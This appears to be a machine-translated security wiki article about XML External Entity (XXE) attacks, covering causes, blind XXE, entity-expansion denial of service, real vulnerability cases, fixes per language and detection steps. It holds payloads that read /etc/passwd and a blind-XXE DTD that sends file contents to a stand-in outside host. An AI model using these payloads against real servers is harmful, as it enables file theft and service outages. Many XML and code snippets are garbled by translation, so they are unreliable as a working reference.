XML External Entity Attack/xxe attack

XML External Entity Attack/xxe attack 1, related background introduction

Extensible Markup Language (extensible Markup Language,xml) is a markup language designed to transmit and store data. XML applications are extremely extensive, such as:

  * Normal list item document format: ooxml,odf,pdf,rss......* picture format: svg,exif headers......* network protocol: webdav,caldav,xmlrpc,soap,rest,xmpp,saml,xacml......* Configuration file: Spring configuration file, Struts2 Config file ...

The concept of an entity is defined in the XML 1.0 standard, which is a variable that defines a shortcut that refers to plain text or special characters, which can be declared either internally or externally.

An XML document that contains an internal entity:

version=encoding="Utf-8"?> <! DOCTYPE entity [ <! ENTITY Copyright "Copyright wiki.wooyun.org" >]> <wooyun<internal>&copyright;  </internal></wooyun>           

An XML document that contains external entities:

version=encoding="Utf-8"?> <! DOCTYPE entity [ <! ENTITY wiki SYSTEM "http://wiki.wooyun.org/" >]> <wooyun<external>&wiki;  </external></wooyun>           

When parsing the XML, the entity will be replaced with the corresponding reference content.

XML external entity (XML External Entity,xxe) attack is a common web security vulnerability in which an attacker can obtain data that should be protected in the server through an external entity of XML.

2. Causes

The XML parser supports multiple protocols when parsing external entities:

Libxml2	Php	Java	. NET
——–	—————-	——–	——–
File	File	File	File
http	http	http	http
Ftp	Ftp	Ftp	Ftp
	Php	Https	Https
	Compress.zlib	Jar
	Data	NetDoc
	Glob	mailto
	Phar	Gopher

If you use the file protocol to read the contents of local files, use the HTTP protocol to obtain Web resources, and so on, attackers can construct malicious external entities that can cause a XXe attack when the parser resolves an XML type file that contains a "malicious" external entity.

The following XML is parsed to /etc/passwd read the contents of the local file:

version=encoding="Utf-8"?> <! DOCTYPE entity [ <! ENTITY file SYSTEM "file:///etc/passwd" >]> <wooyun<external>&file;  </external></wooyun>           

Note: If the read file itself contains "<", "&" and other characters that will cause a failure, you can use BASE64 encoding bypass for such files, as follows:

version=encoding="Utf-8"?> <! DOCTYPE entity [ <! Entity file System Entity E system "php://filter/read=convert.base64-encode/resource=http://wiki.wooyun.org";] > <wooyun<external>&file;  </external></wooyun>           

Different parsers may have different processing rules for external entities by default, in the case of the PHP language, Xml_parse is implemented in the Expat library, and Simplexml_load uses the Libxml library, and the two underlying libraries are not the same in detail at the time of parsing. Expat does not resolve external entities by default, and simplexml_load resolves external entities by default, so simplexml_load functions are affected by this issue, and xml_parse is not affected by default. The following are some of the ways that common languages may be affected by this problem parsing xml:

Php	Java	. NET
————	—————-	————————
Dom	(to be added)	System.Xml.XmlDocument
SimpleXML		System.Xml.XmlReader

3. Attack mode and harm

XXe attacks are divided into two types: explicit attack and blind attack.

The above POC is an explicit attack in which an attacker reads the contents of an external entity through a normal echo.

However, in some cases it is not possible to complete the XXe attack in this way, when we can take a blind attack.

XXe blind attack using the parameter entity to read the contents of the local file, the server initiates the request as a parameter in the URL and then reads the contents of the file in its specified server's log (Apache log).

The XML file is slightly different because the way in which the parameter entity is defined in the DTD can only be used in an external sub-set, or by an external file-defined parameter entity, referenced to an XML file's DTD:

version=encoding="Utf-8"?> <! DOCTYPE entity [ <! ENTITY% call SYSTEM "Http://example.com/evil.xml" >%call;] > <wooyun<text>test</text></wooyun>   

http://example.com/evil.xmlthe contents are:

"FILE:///ETC/PASSWD">"<! ENTITY & #37; Send SYSTEM ' http://example.com/?file=%file; ' > ">%int;%send; 

Harm:

XXe vulnerability can result in reading any unauthorized file, such as the above POC can read the server /etc/passwd files;

Because the tree-based XML parser will load all into memory, the XXe vulnerability could also be used to maliciously consume memory for denial-of-service attacks, such as:

<?xml Version ="1.0"?><! DOCTYPE entity [<! ENTITY Wooyun "Wooyun" ><! ELEMENT Wooyunz(#PCDATA)><! ENTITY wooyun1"&wooyun;&wooyun;&wooyun;&wooyun;&wooyun;&wooyun;&wooyun;&wooyun;&wooyun; &wooyun; "><! ENTITY wooyun2"&wooyun1;&wooyun1;&wooyun1;&wooyun1;&wooyun1;&wooyun1;&wooyun1;&wooyun1;& wooyun1;&wooyun1; "><! ENTITY Wooyun3"&wooyun2;&wooyun2;&wooyun2;&wooyun2;&wooyun2;&wooyun2;&wooyun2;&wooyun2;& wooyun2;&wooyun2; "><! ENTITY Wooyun4"&wooyun3;&wooyun3;&wooyun3;&wooyun3;&wooyun3;&wooyun3;&wooyun3;&wooyun3;& wooyun3;&wooyun3; "><! ENTITY Wooyun5"&wooyun4;&wooyun4;&wooyun4;&wooyun4;&wooyun4;&wooyun4;&wooyun4;&wooyun4;& wooyun4;&wooyun4; "><! ENTITY wooyun6"&wooyun5;&wooyun5;&wooyun5;&wooyun5;&wooyun5;&wooyun5;&wooyun5;&wooyun5;& wooyun5;&wooyun5; "> <! ENTITY wooyun7 > <! ENTITY wooyun8 > <! ENTITY wooyun9 >]> <wooyun> &wooyun9; </wooyun>        

This XML in defining entities is a constant nesting of calls, such as parsing without limiting the size, which can result in a large amount of memory consumed, thereby implementing a denial of service attack.

In addition, a number of related attacks can be constructed using the supported protocols, such as detecting intranet information (such as detection service, etc.).

4. Actual cases

gainover:wooyun-2014-59783: Baidu a function of XML entity injection (II)

Since SVG itself is XML-based, the vulnerability in the XML parsing process when SVG is converted to JPG images only filters the keywords directly ENTITY , but since the DTD natively supports invoking external DTD files, the <!DOCTYPE svg SYSTEM “http://example.com/xxe.dtd”> external DTD file is successfully bypassed by invoking the ENTITYkeyword filtering, where xxe.dtd the contents are as follows:

"FILE:///ETC/PASSWD">

iv4n:wooyun-2014-74069: Fresh Fruit net RSS import Blind XXe vulnerability

The vulnerability of the process is the use of parameter entities to implement the XXe blind attack, after reading the local file, the contents of the local file will be read as a parameter in the URL to its designated server to initiate the request, in the Apache log of the specified server can see the content of the read file.

Five crossing murderous: wooyun-2014-59911: From a XXe loophole in open source China to the main station shell

The vulnerability in the format of XML parsing and no restrictions on external entities, so that any file on the server is read, resulting in the Master SSH username and password disclosure, was successfully getshell.

5. Repair Plan

By default, inline DTD parsing (inline DTD parsing), external entities, entities are turned off, and white lists are used to control which protocols are allowed to be useful.

Understand whether the XML parser used resolves external entities by default, and if the default resolution should be closed or restricted according to the actual situation. Some common closing methods are given below:

Php:

For methods that parse XML using SimpleXML, you can add libxmldisableentity_loader(true); statements to parse external entities before loading the entities.

For methods that parse XML using the DOM, you can add a statement before loading the entity libxmldisableentity_loader(true); or use:

<?php//With the DOM functionality:new DOMDocument();  $dom-LoadXML($badXml, libxml_dtdload| Libxml_dtdattr);? >              

For XmlReader parsing XML, the method can be used:

<?php//With the XMLReader functionality:= XMLReader::xml($badXml,' UTF-8 ', Libxml_nonet);? >           

Java:

=documentbuilderfactory. newinstance();d BF.  Setexpandentityreferences(false);        

. Net:

For methods to parse Xml using System.Xml.XmlReader:

By default, external resources are parsed using XmlUrlResolver objects that do not have user credentials. This means that by default, you can access any location that does not require credentials. You can further ensure security by doing one of the following:

• Restrict the resources that XmlReader can access by setting the Xmlreadersettings.xmlresolver property to the XmlSecureResolver object.
• You do not allow XmlReader to open any external resources by setting the Xmlreadersettings.xmlresolver property to null.

For denial-of-service attacks with oversized XML documents, when using XmlReader, you can limit the size of documents that can be parsed by setting the Maxcharactersindocument property. By setting the Maxcharactersfromentities property, you can limit the number of characters that are generated from the extended entity.

Python:

= Etree. Parse(Xmlsource, etree.  Xmlparser(resolve_entities=False))        

6, vulnerability scanning and discovery

Detects if XML is parsed

version=encoding="UTF-8"?><! DOCTYPE any [<! ENTITY XXe "XXe test" >]><root>&xxe;  </root>         

If XXe test proof support is displayed, take the second step

Whether external entities are supported:

version=encoding="UTF-8"?><! DOCTYPE any [<! ENTITY% XXe SYSTEM "Http://192.168.5.1/xxe.xml" >%XXE;] >    

Observe the Access.log on your server, and if there is a xxe.xml request, prove that the external entity can be loaded.

Then determine if there is a echo and there is a echo to directly load the external entity for the attack

Cannot be echoed, use the blind XXe attack method

7, related other security issues

Unknown

8. Related Resources

W3school:xml Series Tutorials

Mark4z5: Unknown attack to know anti---xxe loopholes defense

XML External Entity (XXE) processing

Read the source of the cat: XXe vulnerability and Blind XXe summary

Chris cornutt:preventing XXE in PHP

Timothy d.morgan:what didn ' t Know about XML External entities Attacks

Reprinted from: Http://wiki.wooyun.org/web:xxe-attack

XML External Entity Attack/xxe attack